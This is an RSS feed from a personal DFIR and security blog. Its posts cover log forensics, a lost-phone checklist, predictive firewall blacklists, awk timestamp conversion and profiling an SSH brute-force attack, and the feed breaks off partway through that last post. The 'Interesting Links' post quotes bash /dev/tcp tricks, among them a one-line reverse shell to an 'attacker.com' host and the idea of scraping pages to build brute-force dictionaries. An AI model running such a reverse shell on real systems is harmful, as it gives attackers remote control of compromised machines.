<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>[blog.rayfoo] &#187; security</title>
	<atom:link href="http://blog.rayfoo.info/tag/security/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.rayfoo.info</link>
	<description>Infosec, DFIR, tech geekery, thoughts and whatnot</description>
	<lastBuildDate>Wed, 25 Jan 2012 00:36:47 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Definitions</title>
		<link>http://blog.rayfoo.info/2012/01/definitions</link>
		<comments>http://blog.rayfoo.info/2012/01/definitions#comments</comments>
		<pubDate>Tue, 24 Jan 2012 22:47:42 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[DFIR]]></category>
		<category><![CDATA[log analysis]]></category>
		<category><![CDATA[log forensics]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=986</guid>
		<description><![CDATA[Quoting from Anton Chuvakin's slides in his presentation in 2006 at FIRST: Log analysis is (the) trying to make sense of system and network logs. Computer forensics is (the) application of the scientific method to digital media in order to establish factual information for judicial review. So... Log forensics is (the) trying to make sense [...]]]></description>
			<content:encoded><![CDATA[<p>Quoting from Anton Chuvakin's slides in his presentation in 2006 at FIRST:</p>
<blockquote><p><strong>Log analysis</strong> is (the) trying to make sense of system and network logs. </p>
<p><strong>Computer forensics</strong> is (the) application of the scientific method to digital media in order to  establish factual information for judicial review. </p>
<p>So...</p>
<p><strong>Log forensics</strong> is (the) trying to make sense of system and network logs, in order to  establish factual information for judicial review. </p></blockquote>
<p>Makes sense, maybe I've been googling for the wrong keywords all this time! Till of late, I've been looking at this field largely from a data mining viewpoint.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2012/01/definitions/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Things to do before (and when) you lose your phone</title>
		<link>http://blog.rayfoo.info/2012/01/things-to-do-before-and-when-you-lose-your-phone</link>
		<comments>http://blog.rayfoo.info/2012/01/things-to-do-before-and-when-you-lose-your-phone#comments</comments>
		<pubDate>Mon, 23 Jan 2012 04:35:53 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[incident handling]]></category>
		<category><![CDATA[incident response]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=980</guid>
		<description><![CDATA[Had the harrowing experience of losing a phone for a while. Coupled with having to look for it in the rain (could have been dropped somewhere), it's certainly not something anyone would want to go through. Just like in incident response, two things held true: If you don't have a "incident" response plan, you're only [...]]]></description>
			<content:encoded><![CDATA[<p>Had the harrowing experience of losing a phone for a while. Coupled with having to look for it in the rain (could have been dropped somewhere), it's certainly not something anyone would want to go through. </p>
<p>Just like in incident response, two things held true:</p>
<ul>
<li>If you don't have a "incident" response plan, you're only going to panic (a lot more) when it happens. </li>
<li>Doing an AAR helps! </li>
</ul>
<p>There're things that can be done to make the loss/theft of your phone a lot less traumatic, and possibly less painful if you really don't get your phone back. They happen to be the <strong><em>things that you could do when you get a new phone</em></strong>. </p>
<p><strong>Preparing for what should not happen:</strong></p>
<ul>
<li><strong>Note down IMEI</strong> of phone (dial *#06#)</li>
<li><strong>Set up phone tracking/remote lockdown</strong>. Apple users have <a href="http://www.apple.com/mobileme/setup/">MobileMe</a> / <a href="http://www.apple.com/icloud/setup/">iCloud</a> for iOS. There are ways to do so for <a href="http://lifehacker.com/5611003/build-a-find-my-iphone-clone-for-android">Android</a> too. Remember to set a good password which is not reused anywhere else!</li>
<li><strong>Note down details of the taxis that you board</strong> (taxi company, license plate, make/model of taxi). Takes getting used to though. </li>
</ul>
<p><img src="http://blog.rayfoo.info/wp-content/uploads/2012/01/20120124-155201.jpg" alt="horror" class="alignnone size-full" /></p>
<p><strong>What to do when phone's stolen/lost (in order)</strong></p>
<ol>
<li><strong>DON'T PANIC</strong>, knee jerk reactions are not what you want!</li>
<li><strong>Recall when you last used/saw the phone</strong>. Retrace your steps and narrow down the possibilities on where to search. Confirm that it was indeed dropped somewhere/in the taxi. </li>
<li><strong>Lock phone remotely if you can, and haven't locked it already</strong> (Apple's Find My iPhone allows you to do that if you've set it up already). For the average Joe who picks up the phone, it makes the world of difference between a phone that he/she can use straight away and one that he/she is better off returning. </li>
<li><strong>Call in 5-15 minute intervals to locate/get someone's attention to the phone</strong>. Don't call non-stop as there's no point in spamming your phone, especially if it's going to result in a flat battery which is worse off.</li>
<li><strong>Leave a message for any would-be finder to be able to contact you and return the phone</strong>. You could use the phone tracker, or simply SMS/WhatsApp/etc. Many phones show the message contents without having to unlock the screen (!!!). </li>
<li><strong>Locate the phone</strong>, mainly to see if it's trivially retrievable (left on the floor somewhere, or taxi's stationery), or for the police report to come later. </li>
<li><strong>Call for help</strong> (taxi company). There's an <a href="http://www.taxisingapore.com/contacts/">awesome list</a> of Singapore taxi companies' numbers out there. </li>
<li><strong>Lodge reports</strong> especially when your chances of getting the phone back are slim, or when it's been a while since you've been able to find it/get it back. For the phone itself (property) and any other items of importance that was lost together like identity cards, call the police or make use of the <a href="http://www.spf.gov.sg/epc/">SPF's e-services</a> to lodge a report. Credit cards that were with the phone should be cancelled regardless of whether you get the phone back or not since there's a high likelihood that someone else has seen your CC number and <a href="http://en.wikipedia.org/wiki/Card_Verification_Value">CVV</a>. You do <strong>NOT</strong> want to go through additional heartache and trouble of undoing credit card transactions by the unscrupulous. </li>
</ol>
<p>That's all for now. Stay safe, and stay calm <img src='http://blog.rayfoo.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Edit: I guess if this happens you could just skip straight to locking the phone and calling the police.<br />
<a href="http://blog.rayfoo.info/wp-content/uploads/2012/01/20120125-083217.jpg"><img src="http://blog.rayfoo.info/wp-content/uploads/2012/01/20120125-083217.jpg" alt="20120125-083217.jpg" class="alignnone size-full" width="400" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2012/01/things-to-do-before-and-when-you-lose-your-phone/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Where are the discussions on analyzing logs in DFIR?</title>
		<link>http://blog.rayfoo.info/2012/01/where-are-the-discussions-on-analyzing-logs-in-dfir</link>
		<comments>http://blog.rayfoo.info/2012/01/where-are-the-discussions-on-analyzing-logs-in-dfir#comments</comments>
		<pubDate>Tue, 17 Jan 2012 00:27:01 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[DFIR]]></category>
		<category><![CDATA[logs analysis]]></category>
		<category><![CDATA[musings]]></category>
		<category><![CDATA[network forensics]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=973</guid>
		<description><![CDATA[It's funny how much (or rather, little) is talked about in DFIR circles about analyzing logs before/during an incident. While it is really sexy (oh yeah!) to be able to dig out stuff from a computer that Joe or that pesky malware writer tried to hide, responding to incidents requires information to be surfaced as [...]]]></description>
			<content:encoded><![CDATA[<p>It's funny how much (or rather, little) is talked about in DFIR circles about analyzing logs before/during an incident. </p>
<p>While it is really sexy (oh yeah!) to be able to dig out stuff from a computer that Joe or that pesky malware writer tried to hide, responding to incidents requires information to be surfaced as much and fast as possible in order to solve the mystery and contain the damage. And for organization-scale incidents, one great source of information would be the logs generated from the various endpoints/perimeter devices. </p>
<p>So far there's the area of SIEMs and logs management, where we get the heavyweights like Anton Chuvakin. The closest could perhaps be SANS' network forensics course offerings, but the coverage is glancing at best. But looking for discussions in terms of analyzing logs specifically for DFIR, zilch. Perhaps I'm looking at the wrong areas, if so do let me know <img src='http://blog.rayfoo.info/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>As with many security-related domains, the more an area is publicly shared, researched and discussed, the more the good guys stand to gain. The flip side argument being that the bad guys are reading the same stuff too, but that's another topic to be visited another time. </p>
<p>Till then, will share whatever I can about this area that I've learnt so far.  It's really a curious monster in itself amongst DFIR efforts.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2012/01/where-are-the-discussions-on-analyzing-logs-in-dfir/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Highly Predictive Blacklists</title>
		<link>http://blog.rayfoo.info/2012/01/highly-predictive-blacklists</link>
		<comments>http://blog.rayfoo.info/2012/01/highly-predictive-blacklists#comments</comments>
		<pubDate>Mon, 16 Jan 2012 23:39:43 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[bag of tricks]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[threat modeling]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=971</guid>
		<description><![CDATA[SANS Internet Storm Center has a service for DShield log contributors called HPBs (Highly Predictive Blacklists). Since their summary is succinct enough I will just quote it here: DShield.org in collaboration with SRI International has established a new experimental custom source address blacklist generation service available to all DShield.org contributors. This new service utilizes a [...]]]></description>
			<content:encoded><![CDATA[<p>SANS Internet Storm Center has a service for DShield log contributors called HPBs (<a href="http://www.dshield.org/hpbinfo.html">Highly Predictive Blacklists</a>). Since their summary is succinct enough I will just quote it here:</p>
<blockquote><p>DShield.org in collaboration with SRI International has established a new experimental custom source address blacklist generation service available to all DShield.org contributors. This new service utilizes a radically different approach to blacklist formulation called Highly Predictive Blacklisting. Each DShield contributor can now access a unique HPB (instructions below) that reflects the most probable set of source addresses that will connect to that contributor's network over a prediction window that may last several days into the future.</p>
<p>Highly predictive blacklists employ a link analysis algorithm similar to Google's PageRank scheme used to find the most relevant web pages given a user's query. Similar to a web query, DShield contributor's firewall logs are cross-compared in search of overlaps among the attackers they report. Each attacker address that is included in an HPB is selected by favoring those ad-dresses that are encountered by other contributors that share degrees of overlap with the HPB owner.</p>
<p>How does it work (for non math geeks <img src='http://blog.rayfoo.info/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ): We compare your firewall logs to firewall logs submitted by others. If you and other submitters are hit on similar ports, then your are more likely to be attacked by the same IPs. Your personal "HPB" is created from the IP addresses that target submitters with similar reports as you.</p></blockquote>
<p>While this is directly useful to firewall administrators, the concept could potentially be extended to other domains/uses too. Filing this under "bag of tricks" for now <img src='http://blog.rayfoo.info/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2012/01/highly-predictive-blacklists/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Got Spam?</title>
		<link>http://blog.rayfoo.info/2011/05/got-spam</link>
		<comments>http://blog.rayfoo.info/2011/05/got-spam#comments</comments>
		<pubDate>Mon, 30 May 2011 18:38:15 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[samples]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[webmail]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=881</guid>
		<description><![CDATA[Looking for samples of a particular type of spam, please help! The kind of spam I'm looking for is a specific type, so please read on first! The spam mail has to fulfil these criteria: Sent from a free webmail provider (Gmail, Yahoo, Hotmail/MSN, etc). Sent from an email address/friend/person that you know (i.e. they [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_882" class="wp-caption alignright" style="width: 210px"><img class="size-full wp-image-882 " title="I want spam!" src="http://blog.rayfoo.info/wp-content/uploads/2011/05/spam.jpg" alt="" width="200" height="200" /><p class="wp-caption-text">I want spam!</p></div>
<p>Looking for samples of a particular type of spam, please help!</p>
<p>The kind of spam I'm looking for is a specific type, so please read on first!</p>
<p>The spam mail has to fulfil these <strong>criteria</strong>:</p>
<ol>
<li>Sent from a free webmail provider (Gmail, Yahoo, Hotmail/MSN, etc).</li>
<li>Sent from an email address/friend/person that you know (i.e. they likely have your email address in their address book).</li>
<li>Has a "blank" email subject (this shows up as "(no subject)" in Gmail for example).</li>
<li>The body/content of the email <em>appears </em>to contain only one link, or very little content.</li>
</ol>
<p>If you have received such emails, you can help by sending <strong>the headers</strong> and <strong>"raw" content</strong> to me.  Both usually can be obtained when viewing the email headers (Gmail example: click on the down arrow at the top right corner of the email, select "Show original").  Just <strong>copy and paste the entire headers and content into a text file</strong> and <strong>send to <a href="mailto:spamcollector@rayfoo.info">spamcollector@rayfoo.info</a> as an attachment</strong>.</p>
<p>If you're afraid that I might misuse the email addresses (don't worry, I'm not a spammer... <img src='http://blog.rayfoo.info/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  ), feel free to obfuscate the email addresses before sending it out to me.  I only request that you <strong>at least indicate the webmail domain portion of the email address that sent you that spam mail</strong>.</p>
<p>Any clarifications, please post in the comments section below.  Thanks a lot!</p>
<div id="attachment_884" class="wp-caption aligncenter" style="width: 310px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/05/01-specific-spam.png"><img class="size-medium wp-image-884 " title="01-specific-spam" src="http://blog.rayfoo.info/wp-content/uploads/2011/05/01-specific-spam-300x193.png" alt="" width="300" height="193" /></a><p class="wp-caption-text">Example of what this particular spam looks like (the content would differ) (click to enlarge)</p></div>
<div id="attachment_885" class="wp-caption aligncenter" style="width: 310px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/05/02-headers-and-contents.png"><img class="size-medium wp-image-885" title="02-headers-and-contents" src="http://blog.rayfoo.info/wp-content/uploads/2011/05/02-headers-and-contents-300x112.png" alt="" width="300" height="112" /></a><p class="wp-caption-text">The &quot;raw&quot; email headers and content (just a whole lot of &quot;text&quot;!) (click to enlarge)</p></div>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2011/05/got-spam/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dynamic conversion of epoch timestamps in logs</title>
		<link>http://blog.rayfoo.info/2011/05/dynamic-conversion-of-epoch-timestamps-in-logs</link>
		<comments>http://blog.rayfoo.info/2011/05/dynamic-conversion-of-epoch-timestamps-in-logs#comments</comments>
		<pubDate>Fri, 27 May 2011 17:37:50 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[log analysis]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=870</guid>
		<description><![CDATA[In the course of your logs or text processing, you may come across certain timestamps in epoch format.  Whilst there's always online resources to assist with the conversion of such timestamps, it may not be the best way if you need to keep the timestamp "secret" during then, or if you have many timestamps to [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-871" title="timestamp" src="http://blog.rayfoo.info/wp-content/uploads/2011/05/timestamp_logo.jpg" alt="" width="250" height="278" />In the course of your logs or text processing, you may come across certain timestamps in <a href="http://en.wikipedia.org/wiki/Unix_time">epoch</a> format.  Whilst there's always <a href="http://www.google.com/search?q=online+convert+epoch+timestamp">online resources</a> to assist with the conversion of such timestamps, it may not be the best way if you need to keep the timestamp "secret" during then, or if you have many timestamps to convert going by the thousands, millions, etc.</p>
<p>Whilst there's always free tools like Splunk which is available for free to the masses (and yes, it does automatically convert epoch timestamps for you), there's always our "humble" awk. <img src='http://blog.rayfoo.info/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><span id="more-870"></span>The linux awk command has the ability to invoke other commands as part of its computation.  The date command can be used to convert epoch times to local times.  Putting both together would allow us to do just what we need here!</p>
<p>First some examples with the date command:</p>
<blockquote>
<pre>$ date -d @1280921130.313
Wed Aug  4 19:25:30 SGT 2010</pre>
</blockquote>
<p>Or should we want to get the dates only:</p>
<blockquote>
<pre>$ date -d @1280921130.313 +%D
08/04/10</pre>
</blockquote>
<p>Now, making use of awk to convert only one epoch timestamp:</p>
<blockquote>
<pre>$ echo -n "1280921130.313" | \
awk '{<span style="color: #00ff00;"><strong>"date -d @"$1" +%D"</strong></span> <span style="color: #ff00ff;"><strong>| getline</strong></span> <span style="color: #00ffff;"><strong>myvariable</strong></span>; print myvariable}'
08/04/10</pre>
</blockquote>
<p>The important part to note is that we must <span style="color: #00ff00;"><strong>enclose the "external" command in quotes</strong></span> (we use the unquoted $1 variable to pass the epoch timestamp from awk), and that we <span style="color: #ff00ff;"><strong>pipe the output of that command to the getline directive</strong></span> in awk.  getline by itself would replace the $0 variable in awk when referencing it subsequently, whereas specifying a <span style="color: #00ffff;"><strong>variable</strong></span> ("myvariable" in this example) would keep the $0 variable as it is, allowing you to use the variable to reference the output of the external command.</p>
<p>Final example showing how logs preprocessing using these commands might look like:</p>
<blockquote>
<pre>$ cat sample.log
1280921130.313 logentry1
1280921131.313 logentry2
1280921132.313 logentry3
1280921133.313 logentry4
</pre>
<pre>$ cat sample.log | \
awk '{"date -d @"$1 | getline myvariable2; print myvariable2 "\t" $0}'
Wed Aug  4 19:25:30 SGT 2010    1280921130.313 logentry1
Wed Aug  4 19:25:31 SGT 2010    1280921131.313 logentry2
Wed Aug  4 19:25:32 SGT 2010    1280921132.313 logentry3
Wed Aug  4 19:25:33 SGT 2010    1280921133.313 logentry4
</pre>
</blockquote>
<p>Have fun!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2011/05/dynamic-conversion-of-epoch-timestamps-in-logs/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interesting Links</title>
		<link>http://blog.rayfoo.info/2011/05/interesting-links</link>
		<comments>http://blog.rayfoo.info/2011/05/interesting-links#comments</comments>
		<pubDate>Tue, 17 May 2011 13:50:14 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[links]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[malware analysis]]></category>
		<category><![CDATA[PDF]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=848</guid>
		<description><![CDATA[Will start linking some of the stuff that potentially would be interesting and useful here.  Let's start off with an alternative BASH-fu technique to initiate and listen TCP connections from a (supposedly pwned) Linux box: http://blog.rootshell.be/2011/05/05/binbash-phone-home/ Now the question will arise: when those network redirection could be helpful? First, bash can used without third party [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-850" title="fence chain links" src="http://blog.rayfoo.info/wp-content/uploads/2011/05/fence-chain-link.jpg" alt="" width="300" height="200" />Will start linking some of the stuff that potentially would be interesting and useful here.  Let's start off with an alternative BASH-fu technique to initiate and listen TCP connections from a (supposedly pwned) Linux box:</p>
<p><a href="http://blog.rootshell.be/2011/05/05/binbash-phone-home/">http://blog.rootshell.be/2011/05/05/binbash-phone-home/</a></p>
<blockquote><p>Now the question will arise: when those network redirection could be helpful? First, bash can used without third party tools to grab data from the network. The example below fetch this blog main page:</p>
<pre>  exec 5&lt;&gt; /dev/tcp/blog.rootshell.be/80
  printf "GET / HTTP/1.0nn" &gt;&amp;5
  cat &lt;&amp;5
  exec 5&gt;&amp;-</pre>
<p>Very convenient if you don’t have link or curl installed. Just pipe the output to other commands. This can be used to generate dictionary files to conduct a bruteforce attack:</p>
<pre>  exec 5&lt;&gt; /dev/tcp/blog.rootshell.be/80
  printf "GET / HTTP/1.0nn" &gt;&amp;5
  cat &lt;&amp;5
  exec 5&gt;&amp;- | sed -e 's/&lt;[!a-zA-Z/][^&gt;]*&gt;//g' foo.tmp | tr " " "n"</pre>
<p>Another nice example is to make bash “phone home”. Let’s launch a reverse shell to an attacker box:</p>
<pre>  victim# bash 0&lt;/dev/tcp/www.attacker.com/8888 1&gt;&amp;0 2&gt;&amp;0</pre>
<p>As the bash shell is very common, it can be very interesting! Just use your imagination. to find other examples. A final remark: this feature is not available on all pre-compiled or packaged bash instances! Some UNIX flavors consider it as dangerous (which is true!). If you want to compile your own bash with this feature enabled, the configuration flag is “<em>–enable-net-redirections</em>“.</p></blockquote>
<p>Also, a tool to help with PDF creation/modification/analysis.  Sounds promising:</p>
<p><a href="http://code.google.com/p/peepdf/">http://code.google.com/p/peepdf/</a></p>
<blockquote><p>peepdf is a <strong>Python tool to explore PDF files</strong> in order to find out if the file can be harmful or not. The aim of this tool is to provide all the necessary components that a security researcher could need in a PDF analysis without using 3 or 4 tools to make all the tasks. With peepdf it's possible to see all the objects in the document showing the suspicious elements, supports all the most used filters and encodings, it can parse different versions of a file, object streams and encrypted files. With the installation of Spidermonkey and Libemu it provides <strong>Javascript and shellcode analysis</strong> wrappers too. Apart of this it's able to create new PDF files and to modify existent ones.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2011/05/interesting-links/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Profiling of persistent SSHD brute force attack</title>
		<link>http://blog.rayfoo.info/2011/04/profiling-of-persistent-sshd-brute-force-attack</link>
		<comments>http://blog.rayfoo.info/2011/04/profiling-of-persistent-sshd-brute-force-attack#comments</comments>
		<pubDate>Sun, 03 Apr 2011 19:04:19 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[brute forcing]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[log analysis]]></category>
		<category><![CDATA[log collection]]></category>
		<category><![CDATA[profiling]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Splunk]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=823</guid>
		<description><![CDATA[Proper setting up and regular monitoring of logs gives you the avenue to know what's really happening with your box sitting out there in the internets, and to anticipate when bad things are about to happen.  One of the warning signs would be that someone has been poking around your box, looking for an (easy?) [...]]]></description>
			<content:encoded><![CDATA[<p><strong><img class="alignright size-full wp-image-824" title="Brute Force" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/BruteForce.jpg" alt="" width="300" height="240" /></strong></p>
<p>Proper setting up and regular monitoring of logs gives you the avenue to know what's really happening with your box sitting out there in the internets, and to anticipate when <em>bad things</em> are about to happen.  One of the warning signs would be that <em>someone</em> has been poking around your box, looking for an (easy?) way in.</p>
<p>The natural thing that would jump out at you then, is that this <em>someone</em> has been accessing your box in far higher volumes/durations, especially on services that should not be accessed by others.</p>
<p>This is one example of such accesses on a linux box: <em>SSHD brute forcing over long periods of time.</em></p>
<p><span id="more-823"></span>Note: This post is more to talk about the process of digging/profiling, rather than the actual setup processes/log sources involved.  Feel free to ping me/comment below if you wish to discuss though.</p>
<p>The first thing you may ask is: what is "persistent"?  This would be the opposite of the run-of-the-mill opportunistic attackers.  These guys tend to bang your machine for a bit, then leave you alone immediately after failing:</p>
<div id="attachment_826" class="wp-caption aligncenter" style="width: 310px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/04/01-opportunistic.png"><img class="size-medium wp-image-826" title="Opportunistic" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/01-opportunistic-300x81.png" alt="" width="300" height="81" /></a><p class="wp-caption-text">Opportunistic attack: Tries and gives up.</p></div>
<p>This contrasts greatly with the persistent buggers:</p>
<div id="attachment_827" class="wp-caption aligncenter" style="width: 310px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/04/02-persistent.png"><img class="size-medium wp-image-827" title="Persistent" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/02-persistent-300x83.png" alt="Persistent Bugger" width="300" height="83" /></a><p class="wp-caption-text">Whoa!</p></div>
<p>After digging around first on the IP and supposed country of origin, we want to find out what did the attacker try to do?  One of the logs (*cough*... p0f... *cough*...) feeds info on the ports that were attempted to connect to, this could be a starting point:</p>
<p style="text-align: left;">
<div id="attachment_828" class="wp-caption aligncenter" style="width: 508px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/04/03-ports-accessed.png"><img class="size-full wp-image-828 " title="Ports Accessed" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/03-ports-accessed.png" alt="" width="498" height="272" /></a><p class="wp-caption-text">Mostly port 22 (SSH), only 1 for port 80 (HTTP)?</p></div>
<p style="text-align: left;">Searching for and viewing the port 80 access attempt, by itself and in relation to the other activities shows the following:</p>
<p style="text-align: center;">
<div id="attachment_832" class="wp-caption aligncenter" style="width: 492px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/04/04-port-80-access.png"><img class="size-full wp-image-832  " title="04-port-80-access" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/04-port-80-access.png" alt="" width="482" height="205" /></a><p class="wp-caption-text">Pinpointing the port 80 connection</p></div>
<p style="text-align: center;">
<div id="attachment_833" class="wp-caption aligncenter" style="width: 491px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/04/05-confirming-access-profile.png"><img class="size-full wp-image-833  " title="05-confirming-access-profile" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/05-confirming-access-profile.png" alt="" width="481" height="208" /></a><p class="wp-caption-text">Viewing the logs in chronological order (Splunk defaults to reverse chronological)</p></div>
<p style="text-align: left;">Viewing the logs in chronological order (Splunk defaults to reverse chronological) shows that the port 80 connection preceeded the many many many port 22 connections by 2 minutes.  What's going on here?  If <em>somebody</em> wanted to get at the SSH accounts, why not go for them straight, rather than accessing the web service only once?  Checking the web access logs might give the answer we're looking for:</p>
<p style="text-align: center;">
<div id="attachment_834" class="wp-caption aligncenter" style="width: 524px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/04/06-accessed-http-page.png"><img class="size-full wp-image-834 " title="06-accessed-http-page" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/06-accessed-http-page.png" alt="" width="514" height="157" /></a><p class="wp-caption-text">So in that TCP/80 connection....NOTHING was retrieved</p></div>
<p style="text-align: left;">Accessing <em>nothing </em>in that (only) one connection makes this look like a ping of sorts, but we can't be certain.</p>
<p style="text-align: left;">The next thing is to look at what this <em>somebody</em> was doing over the past two weeks!  First we get an idea of the kinds of things that were happening:</p>
<p style="text-align: center;">
<div id="attachment_835" class="wp-caption aligncenter" style="width: 545px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/04/07a-sshd-invalid-user.png"><img class="size-full wp-image-835 " title="07a-sshd-invalid-user" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/07a-sshd-invalid-user.png" alt="" width="535" height="301" /></a><p class="wp-caption-text">Mostly &quot;Attempts to login using a non-existent user&quot;, ala our dear Mr Force, Brute Force</p></div>
<div id="attachment_836" class="wp-caption aligncenter" style="width: 523px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/04/07b-ssh-scan.png"><img class="size-full wp-image-836" title="07b-ssh-scan" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/07b-ssh-scan.png" alt="" width="513" height="205" /></a><p class="wp-caption-text">...and &quot;SSH scan&quot;</p></div>
<p style="text-align: left;">What do these SSH scans mean?</p>
<p style="text-align: center;">
<div id="attachment_837" class="wp-caption aligncenter" style="width: 491px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/04/08-ssh-scan-no-ident-str-received.png"><img class="size-full wp-image-837  " title="08-ssh-scan-no-ident-str-received" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/08-ssh-scan-no-ident-str-received.png" alt="" width="481" height="217" /></a><p class="wp-caption-text">Just means that the SSH handshake was not properly done/completed.</p></div>
<p style="text-align: left;">Since we already know that this is a brute force attempt, judging by the frequency of the failed SSH handshakes per day we can assume for now that they're just resulting from either the connections being blocked, or just "normal" failures in the midst of thousands of attempts.  More can be done to confirm this by zooming into the times where these errors occur, but let's say we're not interested in confirming this fact for now.</p>
<p style="text-align: left;">Looking at the nature of the attack provides some clues on the tools being used too.  For that we extract some stats concerning the tool's attack:</p>
<p style="text-align: center;">
<div id="attachment_838" class="wp-caption aligncenter" style="width: 548px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/04/09-targeted-ssh-user-counts.png"><img class="size-full wp-image-838 " title="09-targeted-ssh-user-counts" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/09-targeted-ssh-user-counts.png" alt="" width="538" height="313" /></a><p class="wp-caption-text">Extracting and counting targeted SSH userids show that 473 userids are attempted in a range from 1 to 21 times each</p></div>
<p style="text-align: center;">
<div id="attachment_839" class="wp-caption aligncenter" style="width: 491px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/04/11-distribution-first-occurrences-targeted-users.png"><img class="size-full wp-image-839  " title="11-distribution-first-occurrences-targeted-users" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/11-distribution-first-occurrences-targeted-users.png" alt="" width="481" height="132" /></a><p class="wp-caption-text">First occurrence of each targeted userid is spread out fairly evenly throughout the time period...</p></div>
